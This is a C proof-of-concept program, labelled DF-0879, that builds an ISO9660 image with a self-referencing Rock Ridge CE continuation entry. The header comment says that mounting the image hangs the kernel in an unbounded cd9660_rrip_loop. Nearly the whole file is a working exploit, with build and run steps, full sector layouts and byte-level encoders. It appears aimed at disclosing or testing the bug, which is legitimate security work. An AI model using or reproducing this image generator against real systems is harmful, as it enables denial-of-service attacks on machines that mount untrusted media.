/*
 * DF-0879 PoC: Crafted ISO9660 image with a cyclic Rock Ridge CE chain.
 *
 * The ISO9660 Rock Ridge SUSP "CE" (Continuation Entry) field directs the
 * kernel parser (cd9660_rrip_loop in sys/vfs/isofs/cd9660/cd9660_rrip.c)
 * to follow a chain of continuation blocks.  That loop has NO depth bound
 * and NO cycle-detection: if a CE entry points to a block whose SUSP area
 * again contains a CE pointing back, the kernel loops forever inside
 * cd9660_rrip_loop -> kernel hang / DoS.
 *
 * This program writes a minimal ISO9660 image (cyclic.iso) whose root
 * directory record carries an SP entry (to satisfy the Rock Ridge detection
 * in cd9660_rrip_offset) followed by a CE entry pointing to sector 19.
 * Sector 19 contains a CE entry pointing back to sector 19 (self-cycle).
 * Mounting this image hangs the kernel in cd9660_rrip_loop.
 *
 * Layout (2048-byte sectors):
 *   0 .. 15   System Area  (zeros)
 *   16        PVD          (type=1, root extent = sector 18)
 *   17        VDST         (type=255)
 *   18        Root directory extent (SP + CE -> sector 19)
 *   19        CE continuation block (CE -> sector 19, self-cycle)
 *
 * Build:  cc -o make_iso make_iso.c
 * Run:    ./make_iso cyclic.iso
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SECTOR  2048
#define NSECT   20          /* sectors 0..19 */

/* ---- ISO 9660 both-endian integer encoders ---- */

/* 7.1.1 : single byte */
static void
set711(unsigned char *p, unsigned v)
{
    p[0] = (unsigned char)(v & 0xff);
}

/* 7.2.3 : 4 bytes, LE then BE (for 723 fields which are 4 bytes in PVD) */
static void
set723(unsigned char *p, unsigned v)
{
    p[0] = (unsigned char)(v & 0xff);
    p[1] = (unsigned char)((v >> 8) & 0xff);
    p[2] = (unsigned char)((v >> 8) & 0xff);
    p[3] = (unsigned char)(v & 0xff);
}

/* 7.3.3 : 8 bytes, LE(4) then BE(4) */
static void
set733(unsigned char *p, unsigned v)
{
    p[0] = (unsigned char)(v & 0xff);
    p[1] = (unsigned char)((v >> 8) & 0xff);
    p[2] = (unsigned char)((v >> 16) & 0xff);
    p[3] = (unsigned char)((v >> 24) & 0xff);
    p[4] = (unsigned char)((v >> 24) & 0xff);
    p[5] = (unsigned char)((v >> 16) & 0xff);
    p[6] = (unsigned char)((v >> 8) & 0xff);
    p[7] = (unsigned char)(v & 0xff);
}

static unsigned char img[NSECT * SECTOR];

/*
 * Write a minimal ISO9660 directory record at buffer offset 'off'.
 * Returns the record length written.
 *
 * name       : file name (first byte 0x00 means '.', 0x01 means '..')
 * name_len   : length of name
 * extent     : LBA of file data
 * size       : file size in bytes
 * sys_use    : pointer to System Use area bytes (or NULL)
 * sys_use_len: length of System Use area
 */
static int
write_dirrec(unsigned char *buf, int off,
             const unsigned char *name, int name_len,
             unsigned extent, unsigned size,
             const unsigned char *sys_use, int sys_use_len)
{
    int pad = (name_len % 2 == 0) ? 1 : 0;
    int reclen = 33 + name_len + pad + sys_use_len;

    buf[off + 0] = (unsigned char)reclen;             /* length        711 */
    buf[off + 1] = 0;                                 /* ext_attr_len  711 */
    set733(buf + off + 2,  extent);                   /* extent        733 */
    set733(buf + off + 10, size);                     /* size          733 */
    /* date[7] at +18 : zeros are fine */
    buf[off + 25] = 0x02;                             /* flags: directory */
    buf[off + 26] = 0;                                /* file_unit_size */
    buf[off + 27] = 0;                                /* interleave */
    set723(buf + off + 28, 1);                        /* volume seq no 723 */
    buf[off + 32] = (unsigned char)name_len;          /* name_len      711 */
    memcpy(buf + off + 33, name, name_len);
    if (pad)
        buf[off + 33 + name_len] = 0;                 /* padding */
    if (sys_use && sys_use_len)
        memcpy(buf + off + 33 + name_len + pad, sys_use, sys_use_len);
    return reclen;
}

int
main(int argc, char **argv)
{
    const char *out = (argc > 1) ? argv[1] : "cyclic.iso";
    FILE *f;

    memset(img, 0, sizeof(img));

    /* ---- Sector 16 : Primary Volume Descriptor ---- */
    {
        unsigned char *pvd = img + 16 * SECTOR;
        pvd[0] = 1;                                   /* type = PVD */
        memcpy(pvd + 1, "CD001", 5);                  /* id */
        pvd[6] = 1;                                   /* version */
        /* system_id, volume_id : leave blank */
        set733(pvd + 80, NSECT);                      /* volume_space_size */
        set723(pvd + 128, SECTOR);                    /* logical_block_size */
        /* path_table_size / path table LBAs : zero — not needed at mount */
        set733(pvd + 132, 0);                         /* path_table_size */
        /*
         * root_directory_record at PVD offset 156 (1-based BP 157-190).
         * This is a 34-byte embedded directory record for the root.
         * We write a record with name_len=1 (name = 0x00 = "."),
         * extent = sector 18, size = SECTOR.
         * No System Use area needed in the PVD copy — it is not parsed
         * for SUSP; only extent/size are used by mount.
         */
        {
            unsigned char rootpvd[34];
            memset(rootpvd, 0, sizeof(rootpvd));
            rootpvd[0] = 34;                          /* length */
            rootpvd[1] = 0;                           /* ext_attr_length */
            set733(rootpvd + 2, 18);                  /* extent = sector 18 */
            set733(rootpvd + 10, SECTOR);             /* size = 2048 */
            rootpvd[25] = 0x02;                       /* flags = directory */
            set723(rootpvd + 28, 1);                  /* vol seq */
            rootpvd[32] = 1;                          /* name_len */
            rootpvd[33] = 0;                          /* name = "." */
            memcpy(pvd + 156, rootpvd, 34);
        }
        pvd[881] = 1;                                 /* file_structure_version */
    }

    /* ---- Sector 17 : Volume Descriptor Set Terminator ---- */
    {
        unsigned char *vdst = img + 17 * SECTOR;
        vdst[0] = 255;                                /* type = END */
        memcpy(vdst + 1, "CD001", 5);
        vdst[6] = 1;                                  /* version */
    }

    /* ---- Sector 18 : Root directory extent ----
     * Contains the root "." directory record whose System Use area has:
     *   SP entry (7 bytes)  — Rock Ridge signature, satisfies
     *                          cd9660_rrip_offset()'s SP check
     *   CE entry (28 bytes) — continuation at sector 19, offset 0, len 28
     */
    {
        unsigned char *rootdir = img + 18 * SECTOR;
        unsigned char sysuse[7 + 28];
        unsigned char dotname = 0x00;                 /* "." */

        /* SP field: "SP" len=7 ver=1 magic 0xBE 0xEF skip=0 */
        sysuse[0] = 'S';  sysuse[1] = 'P';
        sysuse[2] = 7;    sysuse[3] = 1;
        sysuse[4] = 0xBE; sysuse[5] = 0xEF;
        sysuse[6] = 0;                                /* rr_skip = 0 */

        /* CE field: "CE" len=28 ver=1  loc=19 off=0 len=28 */
        sysuse[7]  = 'C';  sysuse[8]  = 'E';
        sysuse[9]  = 28;   sysuse[10] = 1;
        set733(sysuse + 11, 19);                      /* location = sector 19 */
        set733(sysuse + 19, 0);                       /* offset  = 0 */
        set733(sysuse + 27, 28);                      /* length  = 28 */

        write_dirrec(rootdir, 0, &dotname, 1, 18, SECTOR, sysuse, sizeof(sysuse));
    }

    /* ---- Sector 19 : CE continuation block (SELF-CYCLE) ----
     * A single CE entry pointing back to sector 19, offset 0, length 28.
     * cd9660_rrip_loop reads this block, finds CE -> sector 19, reads it
     * again, finds CE -> sector 19 ... forever.
     */
    {
        unsigned char *ceblk = img + 19 * SECTOR;
        ceblk[0] = 'C';  ceblk[1] = 'E';
        ceblk[2] = 28;   ceblk[3] = 1;               /* len=28 ver=1 */
        set733(ceblk + 4, 19);                        /* location = sector 19 */
        set733(ceblk + 12, 0);                        /* offset = 0 */
        set733(ceblk + 20, 28);                       /* length = 28 */
    }

    f = fopen(out, "wb");
    if (!f) { perror(out); return 1; }
    if (fwrite(img, 1, sizeof(img), f) != sizeof(img)) {
        perror("write"); fclose(f); return 1;
    }
    fclose(f);
    printf("wrote %s (%d bytes, %d sectors)\n", out, (int)sizeof(img), NSECT);
    return 0;
}
